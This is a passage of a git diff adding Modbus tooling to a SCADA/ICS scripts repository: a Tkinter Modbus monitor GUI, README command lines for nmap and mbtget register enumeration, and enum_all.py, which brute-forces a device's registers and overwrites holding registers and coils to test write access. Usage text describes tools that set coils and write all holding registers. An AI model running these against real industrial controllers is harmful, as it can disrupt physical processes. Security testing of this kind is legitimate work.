self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in 